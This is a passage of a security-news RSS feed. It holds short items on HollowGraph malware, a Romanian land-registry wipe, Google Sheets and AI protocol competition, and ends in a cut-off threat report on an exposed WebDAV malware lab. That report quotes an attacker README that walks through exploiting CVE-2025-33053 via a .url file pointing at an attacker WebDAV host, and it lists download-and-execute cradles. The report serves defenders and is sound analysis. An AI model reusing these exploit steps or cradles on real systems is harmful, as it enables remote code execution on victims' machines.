@WilsonKinyua, @wxy-nlp, @wyuebei-cloud, @x7peeps, @x9x9x9x9x9x91, @xuezhaolan, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/xxxigm/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/xxxigm">@xxxigm</a>, @ya-nsh, @yatesjalex,<br>
@ygd58, @yingliang-zhang, @yinkev, @YLChen-007, @yu-xin-c, @yungchentang, @zapabob, @zccyman, @zeapsu,<br>
@ziliangpeng, @zwcf5200, @zzpigpinggai</p>
<p>Also: bo.fu, Paulo Henrique, kyssta-exe 25470058+kyssta-exe.fu, Paulo Henrique, kyssta-exe 25470058+kyssta-exe.</p>
<hr>
<p><strong>Full Changelog</strong>: <a href="https://github.com/NousResearch/hermes-agent/compare/v2026.7.1...v2026.7.20">v2026.7.1...v2026.7.20</a></p>]]></content:encoded>
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<title><![CDATA[Import and create combo charts in Google Sheets]]></title>
<description><![CDATA[Google Sheets now offers enhanced support for combo charts, providing a more seamless experience when creating multi-series visualizations. Users can create new “Combo” chart types, enabling complex dataset visualization with different scales and metrics without requiring manual re-plotting. Thes...]]></description>
<link>https://tsecurity.de/de/3681962/web-tipps/import-and-create-combo-charts-in-google-sheets/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681962/web-tipps/import-and-create-combo-charts-in-google-sheets/</guid>
<pubDate>Mon, 20 Jul 2026 20:42:08 +0200</pubDate>
<category>Web Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Google Sheets now offers enhanced support for combo charts, providing a more seamless experience when creating multi-series visualizations. Users can create new “Combo” chart types, enabling complex dataset visualization with different scales and metrics without requiring manual re-plotting. These include:<div><br><div><div><ul><li>Clustered Column - Line</li><li>Clustered Column - Line on Secondary Axis</li><li>Custom Combo</li></ul></div><div>Sheets combo chart support also comes with enhanced Microsoft Excel import compatibility. Previously, importing external files that contained combo charts with a secondary axis would result in the secondary axis being dropped. This update ensures that secondary axis configurations and combo chart types are preserved during file import.</div></div><div><br></div><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container"><tbody><tr><td><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiu9RcdUjK5Z9hkBQX7Z87mRMidxzVVT_4B8yEtSbj2qpg-mz1tIiSMR0qLMXRDLGSsyxhxxVL_TtOJ0qOCTefWK6pi7u3ZIX6aJRRdsSNlQLU-f-VWRCcXYVOEv-4Pe4ilBNRY9tTl3OdWg4DyPT3n42RoL_tzzQQDpo0Wn73kX_WoDg4rwpCE5JVXKDM/s2048/Import%20and%20create%20combo%20charts%20in%20Google%20Sheets%20-%206843.png" imageanchor="1"><img border="0" data-original-height="1279" data-original-width="2048" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiu9RcdUjK5Z9hkBQX7Z87mRMidxzVVT_4B8yEtSbj2qpg-mz1tIiSMR0qLMXRDLGSsyxhxxVL_TtOJ0qOCTefWK6pi7u3ZIX6aJRRdsSNlQLU-f-VWRCcXYVOEv-4Pe4ilBNRY9tTl3OdWg4DyPT3n42RoL_tzzQQDpo0Wn73kX_WoDg4rwpCE5JVXKDM/s1600/Import%20and%20create%20combo%20charts%20in%20Google%20Sheets%20-%206843.png"></a></td></tr><tr><td class="tr-caption"><br>User creating a combo chart in Google Sheets</td></tr></tbody></table><h3>Getting started</h3><div><ul><li><b>Admins: </b>There is no admin control for this feature.</li><li><b>End users: </b>Visit the Help Center to <a href="https://support.google.com/docs/answer/63824" target="_blank">learn more about adding and editing a chart in Google Sheets.</a></li></ul></div><h3>Rollout pace</h3><div><ul><li><a href="https://support.google.com/a/answer/172177" target="_blank">Rapid Release domains:</a> Gradual rollout (up to 15 days for feature visibility) starting on July 20, 2026 </li><li><a href="https://support.google.com/a/answer/172177" target="_blank">Scheduled Release domains:</a> Gradual rollout (up to 15 days for feature visibility) starting on August 4, 2026 </li></ul></div><h3>Availability</h3><div><ul><li>Available to all Google Workspace customers and users with personal Google accounts</li></ul></div><h3>Resources</h3><div><ul><li>Google Docs Editors Help: <a href="https://support.google.com/docs/answer/63824" target="_blank">Add &amp; edit a chart or graph</a></li></ul></div></div>]]></content:encoded>
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<item>
<title><![CDATA[Hackers Are Turning Microsoft 365 Calendar Invites Into Secret Malware Command Channels]]></title>
<description><![CDATA[A stealthy new malware strain called HOLLOWGRAPH that hijacks Microsoft 365 calendars to secretly communicate with hackers, disguising malicious commands as ordinary calendar invites. HOLLOWGRAPH is a .NET-compiled malware component that abuses the Microsoft Graph API through a compromised Micros...]]></description>
<link>https://tsecurity.de/de/3681889/it-security-nachrichten/hackers-are-turning-microsoft-365-calendar-invites-into-secret-malware-command-channels/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681889/it-security-nachrichten/hackers-are-turning-microsoft-365-calendar-invites-into-secret-malware-command-channels/</guid>
<pubDate>Mon, 20 Jul 2026 19:53:05 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A stealthy new malware strain called HOLLOWGRAPH that hijacks Microsoft 365 calendars to secretly communicate with hackers, disguising malicious commands as ordinary calendar invites. HOLLOWGRAPH is a .NET-compiled malware component that abuses the Microsoft Graph API through a compromised Microsoft 365 account, turning the mailbox’s calendar into a covert two-way “dead drop” for hackers. The […]</p>
<p>The post <a href="https://cybersecuritynews.com/microsoft-365-calendar-invites-into-malware/">Hackers Are Turning Microsoft 365 Calendar Invites Into Secret Malware Command Channels</a> appeared first on <a href="https://cybersecuritynews.com/">Cyber Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[New HollowGraph malware uses Microsoft Graph for stealthy C2 comms]]></title>
<description><![CDATA[A malicious component dubbed HollowGraph uses the calendar feature in compromised Microsoft 365 mailboxes as a command-and-control channel to receive attacker commands and exfiltrate stolen data. [...]]]></description>
<link>https://tsecurity.de/de/3681888/it-security-nachrichten/new-hollowgraph-malware-uses-microsoft-graph-for-stealthy-c2-comms/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681888/it-security-nachrichten/new-hollowgraph-malware-uses-microsoft-graph-for-stealthy-c2-comms/</guid>
<pubDate>Mon, 20 Jul 2026 19:53:03 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A malicious component dubbed HollowGraph uses the calendar feature in compromised Microsoft 365 mailboxes as a command-and-control channel to receive attacker commands and exfiltrate stolen data. [...]]]></content:encoded>
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<item>
<title><![CDATA[Where the real competition is in AI]]></title>
<description><![CDATA[Last year Anthropic gave away one of the most successful things it has ever built. And, no, I’m not talking about Claude. I’m referring to MCP, the now ubiquitous Model Context Protocol, which Anthropic donated to the Linux Foundation’s new Agentic AI Foundation⁠. At the time, MCP was pulling nea...]]></description>
<link>https://tsecurity.de/de/3681885/ai-nachrichten/where-the-real-competition-is-in-ai/</link>
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<pubDate>Mon, 20 Jul 2026 19:48:37 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Last year Anthropic gave away one of the most successful things it has ever built. And, no, I’m not talking about Claude. I’m referring to MCP, the now ubiquitous <a href="https://www.infoworld.com/article/4029634/what-is-model-context-protocol-how-mcp-bridges-ai-and-external-services.html" data-type="link" data-id="https://www.infoworld.com/article/4029634/what-is-model-context-protocol-how-mcp-bridges-ai-and-external-services.html">Model Context Protocol</a>, which Anthropic <a href="https://anthropic.com/news/donating-the-model-context-protocol-and-establishing-of-the-agentic-ai-foundation">donated to the Linux Foundation’s new Agentic AI Foundation</a>⁠. At the time, MCP was <a href="https://blog.modelcontextprotocol.io/posts/2025-12-09-mcp-joins-agentic-ai-foundation/">pulling nearly 100 million monthly SDK downloads</a> across more than 10,000 active servers⁠, prompting the question as to why any company would give up such a popular piece of technology.</p>



<p class="wp-block-paragraph">Google did much the same months earlier, <a href="https://developers.googleblog.com/en/google-cloud-donates-a2a-to-linux-foundation/">handing its Agent2Agent (A2A) protocol</a> to the Linux Foundation⁠ with AWS, Cisco, Microsoft, Salesforce, SAP, and ServiceNow signing on as founding members. OpenAI, not to be outdone, <a href="https://openai.com/index/new-tools-and-features-in-the-responses-api/">supports remote MCP servers in its Responses API</a>⁠, sits on the MCP steering committee, and contributed AGENTS.md to that same foundation alongside its fiercest rival’s protocol.</p>



<p class="wp-block-paragraph">It’s like <em>Game of Thrones</em>, except the principal AI powers seek regime change through seeming acts of beneficence rather than violence. For those who have been around for a while, it’s also entirely predictable, following a similar script we’ve seen in the cloud, on-premises servers, and more. Platform companies don’t give away technologies they’ve stopped caring about. They give away technologies they no longer need to own because competitive advantage has shifted to new ground.</p>



<p class="wp-block-paragraph">What does this mean for AI?</p>



<h2 class="wp-block-heading"><a></a>Gravity has shifted before</h2>



<p class="wp-block-paragraph">Google has long been an exceptionally active contributor to <a href="https://www.infoworld.com/article/2262355/what-is-open-source-software-open-source-and-foss-explained.html" data-type="link" data-id="https://www.infoworld.com/article/2262355/what-is-open-source-software-open-source-and-foss-explained.html">open source</a>. <a href="https://www.infoworld.com/article/2260293/open-source-innovation-is-now-all-about-vendor-on-ramps-2.html">As I wrote in 2017</a>, Google wasn’t open sourcing TensorFlow and Kubernetes out of generosity but rather turning these open source assets into on-ramps for Google Cloud. Google was playing catch-up to AWS and Microsoft. As <a href="https://www.infoworld.com/article/2248699/why-kubernetes-is-winning-the-container-war.html">then Google product manager Martin Buhr said</a>, the company hoped to “create a gravity well in the market for container-based apps [so] that a significant percentage of them will end up with us.”</p>



<p class="wp-block-paragraph">In other words, platform companies routinely commoditize one layer of the stack so they can compete somewhere where they hold a stronger hand.</p>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/article/2266566/what-is-github-more-than-git-version-control-in-the-cloud.html" data-type="link" data-id="https://www.infoworld.com/article/2266566/what-is-github-more-than-git-version-control-in-the-cloud.html">GitHub</a> may be an even better example. <a href="https://www.infoworld.com/article/2334697/what-is-git-version-control-for-collaborative-programming.html">Git </a>is open. Anyone can host a Git repository and, once upon a time, different companies did just that. Yet <a href="https://www.infoworld.com/article/2266566/what-is-github-more-than-git-version-control-in-the-cloud.html">GitHub </a>became the default place software development happens for millions of developers. Nobody pays for Git, but lots of people pay for GitHub. We’re seeing this same phenomenon play out in AI.</p>



<h2 class="wp-block-heading">Trading contributions for control</h2>



<p class="wp-block-paragraph">Anthropic and OpenAI have both pretended at being all for humanity’s good, but that’s not a good explanation for why they’re racing to give away things like <a href="https://www.infoworld.com/article/4029634/what-is-model-context-protocol-how-mcp-bridges-ai-and-external-services.html">MCP</a>. The deeper reason is that the model itself has turned out to be a poor place to build a lasting moat, and they’re trying to figure out what’s next. <a href="https://www.infoworld.com/article/4195842/which-ai-model-should-you-bet-your-company-on-none-of-them.html">As I pointed out recently</a>, the frontier model leaderboards change almost weekly. As such, enterprises shouldn’t build their AI strategy around the assumption that any one vendor will remain permanently ahead on model quality. Instead, as I suggested, AI may be sexy, but the “dull reality” is connecting those models to enterprise data, workflows, etc.</p>



<p class="wp-block-paragraph">The AI companies understand this better than anyone. Sure, they’ll continue spending billions training ever more capable models because frontier models attract developers, generate headlines, and open enterprise doors. But they’re also quietly acknowledging that benchmark leadership alone doesn’t create a durable platform.</p>



<p class="wp-block-paragraph">Developers return to the places where their tools, workflows, teammates, and accumulated work already live. Enterprises double down on the systems where their data, permissions, governance, and business processes are already connected. Every new integration makes that destination a little harder to leave, and every new workflow increases its pull. That’s what MCP, A2A, etc., are all about: increasing gravity around the models.</p>



<p class="wp-block-paragraph">Every major AI company wants to become the place where AI-assisted work naturally happens, and they’re now amassing armies of forward deployed engineers and trying other means to get legacy infrastructure to tie back to their frontier models. The enterprise incumbents want the same thing, but from the opposite direction. They don’t need to own the frontier; instead they need to connect the frontier to the systems that already safely run the business.</p>



<p class="wp-block-paragraph">That’s why I’m skeptical whenever someone confidently predicts that AI will sweep away enterprise software. I’ve seen this movie before. Developers absolutely live on the frontier, but enterprises don’t. Enterprises create value by connecting new capabilities to decades of accumulated applications, data, policies, and business processes. The newest model matters, and so does the newest agent framework. But neither creates much business value until it’s connected to customer records, financial systems, supply chains, HR data, and everything else enterprises already depend on.</p>



<p class="wp-block-paragraph">That’s where incumbents still possess enormous gravitational pull. My employer, Oracle, certainly believes so, just as Microsoft, SAP, Salesforce, and ServiceNow do. (Disclosure: I run developer relations at Oracle, which participates in the Agentic AI Foundation.) Ironically, open protocols strengthen that position rather than weaken it. If every model can speak MCP and every agent can interoperate through common standards, enterprises gain the freedom to adopt whichever frontier technology looks best without rebuilding every integration. The protocol becomes interchangeable.</p>



<h2 class="wp-block-heading">Open standards don’t stop gravity</h2>



<p class="wp-block-paragraph">None of this diminishes the importance of open standards. MCP succeeded because it solves a genuine problem. Developers shouldn’t have to build a custom connector every time an AI application needs access to a database or other business system. Neutral governance also matters because nobody wants foundational infrastructure controlled by a direct competitor. But we shouldn’t confuse open interfaces with open markets.</p>



<p class="wp-block-paragraph">An enterprise may find it easy to swap one MCP-compatible model for another while still remaining deeply dependent on the place where its prompts, evaluations, security policies, and employee habits have accumulated. Again, we’ve seen this before. Kubernetes made workloads dramatically more portable without making AWS, Microsoft Azure, and Google Cloud interchangeable. SQL has been standardized for decades, yet databases remain fiercely differentiated businesses. Standards reduce friction, but they rarely eliminate competitive advantage. They simply move it.</p>



<p class="wp-block-paragraph">In like manner, Anthropic, Google, OpenAI, and others are happily standardizing how models, agents, tools, and enterprise systems communicate because they don’t expect the connection itself to determine the winner. Instead they expect to win by becoming the place where AI-assisted work naturally accumulates. Along the way, we’re going to see copious quantities of code given away, increasing developer productivity for all and outsized financial bonanzas for a few. Game on.</p>
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<title><![CDATA[Hacker Wipes Romania's Entire Land Registry Database]]></title>
<description><![CDATA[A hacker reportedly wiped Romania's entire land registry database after a failed extortion attempt, halting property transactions across the country and preventing notaries from issuing land extracts, authenticating sales, or registering mortgages. "On the dark web, the hacker also boasted to hav...]]></description>
<link>https://tsecurity.de/de/3681830/it-security-nachrichten/hacker-wipes-romanias-entire-land-registry-database/</link>
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<pubDate>Mon, 20 Jul 2026 19:23:29 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A hacker reportedly wiped Romania's entire land registry database after a failed extortion attempt, halting property transactions across the country and preventing notaries from issuing land extracts, authenticating sales, or registering mortgages. "On the dark web, the hacker also boasted to have begun backup copies of stolen data in an attempt to prevent it from being restored," reports Cybernews. "However, Romanian officials have managed to at least restore the ANCPI's website and post a message saying they were rebuilding the agency's entire network from scratch. It appears that the agency has an offline copy of the wiped data." From the report: First, the hacker breached Romania's cadastre agency, the National Agency for Cadastre and Real Estate Advertising (ANCPI), posting on a hacking forum: "[RO] Thy arss shall be spanked, Romania! [ANCPI]." "In addition to the data of Romanian citizens, from various databases collected through ANCPI networks, there is also a copy of the GitLab servers containing the source code of all their systems, such as Eterra, RENNS, as well as a version of my little ransomware program," the announcement continued.
 
"The official government website announced a shutdown of IT systems due to 'technical problems,' but this is a bit of an understatement. An offer of assistance was made, but without insistence or pressure." Indeed, the ANCPI initially claimed technical issues but had to admit it was facing a cyberattack. Today, no one can really access the institution's systems. And since the extortion didn't work, the hacker -- who seems to have entered the database using valid credentials -- deleted all data they had stolen, including internal documents, employee credentials, and, of course, land registry data.<p></p><div class="share_submission">
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</div><p><a href="https://it.slashdot.org/story/26/07/20/172249/hacker-wipes-romanias-entire-land-registry-database?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
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<title><![CDATA[HollowGraph Malware Hides C2 and Stolen Files in Microsoft 365 Events Dated 2050]]></title>
<description><![CDATA[A newly discovered espionage implant has been using a hijacked Microsoft 365 calendar as its command channel, planting operator instructions and smuggling out stolen files as attachments on calendar events dated to the year 2050.

Group-IB, which named the malware HollowGraph, says the approach m...]]></description>
<link>https://tsecurity.de/de/3681555/it-security-nachrichten/hollowgraph-malware-hides-c2-and-stolen-files-in-microsoft-365-events-dated-2050/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681555/it-security-nachrichten/hollowgraph-malware-hides-c2-and-stolen-files-in-microsoft-365-events-dated-2050/</guid>
<pubDate>Mon, 20 Jul 2026 17:20:57 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A newly discovered espionage implant has been using a hijacked Microsoft 365 calendar as its command channel, planting operator instructions and smuggling out stolen files as attachments on calendar events dated to the year 2050.

Group-IB, which named the malware HollowGraph, says the approach moves tasking and stolen data through legitimate Microsoft Graph API traffic, so the activity looks]]></content:encoded>
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<title><![CDATA[From a Single Alert to 1,000 Files: Inside an Exposed WebDAV Malware Delivery Lab]]></title>
<description><![CDATA[Executive summaryAn MDR alert recently led our team to an exposed server that was doing more than hosting payloads. It was functioning as a fully operational malware delivery lab. Containing over 1,000 artifacts, the infrastructure served as a QA hub where attackers systematically tested delivery...]]></description>
<link>https://tsecurity.de/de/3681303/it-security-nachrichten/from-a-single-alert-to-1000-files-inside-an-exposed-webdav-malware-delivery-lab/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681303/it-security-nachrichten/from-a-single-alert-to-1000-files-inside-an-exposed-webdav-malware-delivery-lab/</guid>
<pubDate>Mon, 20 Jul 2026 15:53:12 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>Executive summary</h2><p><span>An MDR alert recently led our team to an exposed server that was doing more than hosting payloads. It was functioning as a fully operational malware delivery lab. Containing over 1,000 artifacts, the infrastructure served as a QA hub where attackers systematically tested delivery paths, social engineering lures, and WebDAV execution methods.</span></p><p><span>Our analysis reveals an interesting shift in adversary operations: attackers are adopting generative AI to move beyond individual exploits and operate like modern software product teams. By leveraging LLMs for rapid lure generation, detailed README documentation, and automated testing, they are significantly accelerating their development cycle.</span></p><p><span>This incident underscores the imperative of preemptive security. By unifying exposure management with detection and response, we did not just catch a single campaign; we gained visibility into the attacker’s entire delivery pipeline. Although the server hosted many malware samples, the more interesting find was the view into the attacker’s workflow. The exposed infrastructure showed how the operator tested delivery paths, packaged lures, staged payloads, and monitored delivery activity. All of it with the help of generative AI.</span></p><h2>Introduction: From MDR alert to attacker infrastructure</h2><p><span>The investigation started with an MDR alert after a user executed a file pulled from a WebDAV server using </span><span><span data-type="inlineCode">rundll32.exe</span></span><span>. Telemetry showed the WebClient service starting, followed by </span><span><span data-type="inlineCode">davclnt.dll</span></span><span> reaching out to a remote host to retrieve content.</span></p><p><span>That initial hit led us to dig deeper into the delivery setup, which is how we ended up finding an exposed directory. It quickly became clear to us that the server wasn't just hosting files, but also was used as an active malware testing and delivery hub. Alongside payloads, we found bulk-generated shortcut lures, URL-based execution tests, ClickFix pages, WebDAV initialization scripts, droppers, spoofed filenames, and operator notes.</span></p><p><span>At a high level, the 1,048 files clustered as follows:</span></p><p><span></span></p><table><colgroup data-width="1566"><col><col><col></colgroup><tbody><tr><td><p><span><strong>Category</strong></span></p></td><td><p><span><strong>Files</strong></span></p></td><td><p><span><strong>Functions and discoveries</strong></span></p></td></tr><tr><td><p><span>LNK delivery launchers</span></p></td><td><p><span>453</span></p></td><td><p><span>Bulk-generated shortcut lures using document themes, spoofed filenames, fake icons, and multiple execution paths</span></p></td></tr><tr><td><p><span>Filename-spoofing QA</span></p></td><td><p><span>236</span></p></td><td><p><span>Tests for Unicode, double-extension, padding, and browser/Explorer rendering behavior</span></p></td></tr><tr><td><p><span>URL/LOLBin execution tests</span></p></td><td><p><span>146</span></p></td><td><p><span>Experiments with signed Windows binaries, remote working directories, and WebDAV-style execution</span></p></td></tr><tr><td><p><span>Encrypted droppers</span></p></td><td><p><span>89</span></p></td><td><p><span>Staged second-stage payloads and installer-style packages</span></p></td></tr><tr><td><p><span>Alternative execution containers</span></p></td><td><p><span>24</span></p></td><td><p><span><span data-type="inlineCode">search-ms</span></span><span>, </span><span><span data-type="inlineCode">library-ms</span></span><span>, </span><span><span data-type="inlineCode">.cpl</span></span><span>, and related delivery containers</span></p></td></tr><tr><td><p><span>Payload stubs and spoofed executables</span></p></td><td><p><span>21</span></p></td><td><p><span>Smaller loaders, decoys, and renamed binaries</span></p></td></tr><tr><td><p><span>WebDAV scripts</span></p></td><td><p><span>17</span></p></td><td><p><span>Scripts intended to make WebDAV delivery more reliable on Windows systems</span></p></td></tr><tr><td><p><span>Builder and operator notes</span></p></td><td><p><span>10</span></p></td><td><p><span><span data-type="inlineCode">README</span></span><span> files, test reports, mappings, and generation scripts</span></p></td></tr><tr><td><p><span>ClickFix HTML lures</span></p></td><td><p><span>9</span></p></td><td><p><span>Browser-based social-engineering pages instructing users to run commands</span></p></td></tr><tr><td><p><span>Miscellaneous files</span></p></td><td><p><span>6</span></p></td><td><p><span>Included documentation for the actor’s WebDAV delivery/admin panel</span></p></td></tr></tbody></table><p><span><em>Table 1: Breakdown of files recovered from the attacker’s delivery workspace</em></span></p><h2><span>Technical analysis and observed attacker behavior</span></h2><h3>Attackers testing like a product team</h3><p><span>The open directory exposed the attacker’s payloads and testing process. The collection varied by function: some folders stored payloads, while others isolated individual delivery methods, including WebDAV, UNC paths, </span><span><span data-type="inlineCode">search-ms</span></span><span>, </span><span><span data-type="inlineCode">library-ms</span></span><span>, Control Panel items, and trusted Windows binaries. Several directories appeared to be QA areas for testing how lures are rendered in browsers and Windows Explorer. These tests included Unicode spoofing, right-to-left override (RTLO) characters, double extensions, and padding tricks used to make executables look like documents.</span></p><p><span>The directory also contained several README files. Their structure and phrasing suggested they may have been generated with LLMs. Some folders were named </span><span><span data-type="inlineCode">testik</span></span><span> and </span><span><span data-type="inlineCode">testik2</span></span><span>, a Russian diminutive form of “test”.</span></p><p><span></span></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltbc6d4a9f8e6c1e40/6a5e1283f480d89435286a73/testing-files-subfolders.png" alt="testing-files-subfolders.png" caption="Figure 1: Snippet of one of many subfolders containing testing files." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="testing-files-subfolders.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltbc6d4a9f8e6c1e40/6a5e1283f480d89435286a73/testing-files-subfolders.png" data-sys-asset-uid="bltbc6d4a9f8e6c1e40" data-sys-asset-filename="testing-files-subfolders.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 1: Snippet of one of many subfolders containing testing files." data-sys-asset-alt="testing-files-subfolders.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 1: Snippet of one of many subfolders containing testing files.</figcaption></div></figure><p>⠀</p><p><span>Looking at the artifacts from the open directory, we saw that the attacker was testing some specific CVEs.</span></p><p><span></span></p><table><colgroup data-width="1901"><col><col><col></colgroup><tbody><tr><td><p><span><strong>CVE</strong></span></p></td><td><p><span><strong>Observed samples</strong></span></p></td><td><p><span><strong>Short description</strong></span></p></td></tr><tr><td><p><span>CVE-2025-33053</span></p></td><td><p><span>11</span></p></td><td><p><span>Windows Internet Shortcut flaw involving external control of a file name or path, allowing code execution over a network. (</span><a href="https://nvd.nist.gov/vuln/detail/CVE-2025-33053?utm_source=chatgpt.com" target="_blank"><span>nvd.nist.gov</span></a><span>)</span></p></td></tr><tr><td><p><span>CVE-2026-21513</span></p></td><td><p><span>4</span></p></td><td><p><span>MSHTML Framework security feature bypass caused by protection-mechanism failure. (</span><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-21513?utm_source=chatgpt.com" target="_blank"><span>nvd.nist.gov</span></a><span>)</span></p></td></tr><tr><td><p><span>CVE-2025-24054</span></p></td><td><p><span>1</span></p></td><td><p><span>Windows NTLM spoofing issue where crafted file/path handling can trigger outbound authentication and leak NTLM material; observed tradecraft commonly involved </span><span><span data-type="inlineCode">.library-ms</span></span><span> files. (</span><a href="https://nvd.nist.gov/vuln/detail/CVE-2025-24054?utm_source=chatgpt.com" target="_blank"><span>nvd.nist.gov</span></a><span>)</span></p></td></tr></tbody></table><p><span><em>Table 2: CVE references observed in the exposed directory.</em></span></p><p></p><p><span>The most developed test set focused on </span><span>CVE-2025-33053,</span><span> the working-directory abuse technique reported by Check Point in its analysis of Stealth Falcon activity. It appears as though the threat was trying to reproduce or adapt the reported technique with the help from README that appears to have been generated with LLMs. At a high level, the technique abuses </span><span><span data-type="inlineCode">.url</span></span><span> shortcut behavior to launch a legitimate signed Windows binary while setting its working directory to an attacker-controlled WebDAV share. In the original reporting, the binary was </span><span><span data-type="inlineCode">iediagcmd.exe</span></span><span>, an Internet Explorer diagnostics utility. When invoked, that utility launches several child processes by name. If the working directory points to a remote WebDAV location controlled by the attacker, Windows may resolve those child process names from the remote share instead of the expected local system directory.</span></p><p><span>The README files closely mirrored this logic. They called out </span><span><span data-type="inlineCode">iediagcmd.exe</span></span><span> as the preferred binary, referenced the same WebDAV working-directory pattern described in the Stealth Falcon reporting, and preserved the previously reported </span><span><span data-type="inlineCode">summerartcamp.net@ssl@443\DavWWWRoot\OSYxaOjr</span></span><span> path as an example. So if you ever wonder who reads your blogs, it seems like attackers do.</span></p><p></p><pre language="c">CVE-2025-33053 (Stealth Falcon APT) - Test Setup
=====================================================

WHAT IS THIS?
This .url file abuses iediagcmd.exe to execute a file from WebDAV
WITHOUT any security warnings. Zero alerts!

HOW IT WORKS:
1. .url file contains URL=path to iediagcmd.exe (legitimate IE tool)
2. .url sets WorkingDirectory to WebDAV share
3. When clicked: iediagcmd.exe starts with cwd = WebDAV
4. iediagcmd internally calls: route.exe, ipconfig.exe, netsh.exe, ping.exe
5. Process.Start() searches in working directory FIRST
6. WebClient auto-starts when accessing WebDAV
7. Attacker's route.exe (renamed putty.exe) runs from WebDAV
8. NO SmartScreen, NO MoTW warnings!

REQUIREMENTS TO MAKE TEST WORK:
================================

1. iediagcmd.exe MUST exist on victim machine
   Path: C:\Program Files\Internet Explorer\iediagcmd.exe
   - Win10 (1607-22H2):        YES
   - Win11 21H2/22H2/23H2:     usually YES
   - Win11 24H2 (IE removed):  NO (this is why your F-series failed!)
   - Check on victim:
     dir "C:\Program Files\Internet Explorer\iediagcmd.exe"

2. WebDAV MUST have file named EXACTLY "route.exe"
   NOT putty.exe! iediagcmd will only execute these names:
   - route.exe
   - ipconfig.exe
   - netsh.exe
   - ping.exe
   On your WebDAV server, RENAME putty.exe to route.exe
   Place at: \\TA_C2\Downloads\route.exe

3. Microsoft patch from June 2025 MUST NOT be installed
   Check: Get-HotFix | Where-Object {$_.HotFixID -match "KB5060"}
   If patched, exploit fails.

ALTERNATIVE LOLBINS (if iediagcmd.exe missing):
================================================
F4_CustomShellHost_explorer.url - uses CustomShellHost.exe
   (mentioned in CheckPoint report - spawns explorer.exe)
F5_OfficeC2RClient_alternative.url - uses Office C2R client
   (if Office is installed)

REAL ATTACK PAYLOAD WAS:
[InternetShortcut]
URL=C:\Program Files\Internet Explorer\iediagcmd.exe
WorkingDirectory=\\summerartcamp.net@ssl@443\DavWWWRoot\OSYxaOjr
ShowCommand=7
IconIndex=13
IconFile=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Modified=20F06BA06D07BD014D</pre><p language="html"><span><em>Figure 2: Contents of README, likely generated by LLM, found in the exposed directory.</em></span><em><br></em>⠀</p><p><span>The testing approach was methodical and included the below:</span></p><p><span><strong>Transports</strong></span><span>: WebDAV over </span><span><span data-type="inlineCode">@80</span></span><span> and </span><span><span data-type="inlineCode">@ssl@443</span></span></p><p><span><strong>Path formats</strong></span><span>: </span><span><span data-type="inlineCode">DavWWWRoot</span></span><span> vs. plain UNC</span></p><p><span><strong>Fallback LOLBins</strong></span><span>: </span><span><span data-type="inlineCode">CustomShellHost.exe</span></span><span>, </span><span><span data-type="inlineCode">OfficeC2RClient.exe</span></span><span>, and many more for hosts where </span><span><span data-type="inlineCode">iediagcmd.exe</span></span><span> is absent</span></p><p><span><strong>Download cradles</strong></span><span>: </span><span><span data-type="inlineCode">bitsadmin /transfer</span></span><span>, </span><span><span data-type="inlineCode">certutil -urlcache -split -f</span></span><span>, </span><span><span data-type="inlineCode">mshta http(s)://…</span></span></p><p><span><strong>Shortcut launchers</strong></span><span>: PowerShell </span><span><span data-type="inlineCode">IEX (New-Object Net.WebClient).DownloadString(...)</span></span><span>, hidden/minimized windows</span></p><p><span><strong>Explorer containers</strong></span><span>: </span><span><span data-type="inlineCode">search-ms:</span></span><span> queries and </span><span><span data-type="inlineCode">.library-ms</span></span><span> files exposing remote payloads</span></p><p><span><strong>ClickFix pages</strong></span><span>: relying on user copy/paste execution</span></p><p><span><strong>Filename spoofing</strong></span><span>: RTLO (U+202E), double extensions, and whitespace padding before </span><span><span data-type="inlineCode">.exe</span></span><span> / </span><span><span data-type="inlineCode">.scr</span></span></p><h2>The lure factory</h2><p><span>The lure themes were broad and familiar: invoices, privacy policies, contracts, signed documents, finance reports, Labcorp-themed reports, salary statements, and notification policies.</span></p><p><span>Judging by the lure themes, we concluded that the attacker is targeting enterprise Windows users who are likely to open routine documents.</span></p><p><span>The threat actor also invested heavily in making files look “safe”. Many lure names mimicked PDFs or office documents. Others used fake icons associated with common software. Some attempted to hide arguments or launch windows minimized. Clearly, the goal was to make malicious execution feel like ordinary document handling.</span></p><p><span>The directory also contained ClickFix HTML lures. These pages mimicked familiar services, application errors, and document-access workflows to convince users to copy and run a command. The lures were disguised as Cloudflare verification checks, Adobe or Word document errors, Microsoft login pages, Chrome update messages, and Discord-themed notices. Filenames such as </span><span><span 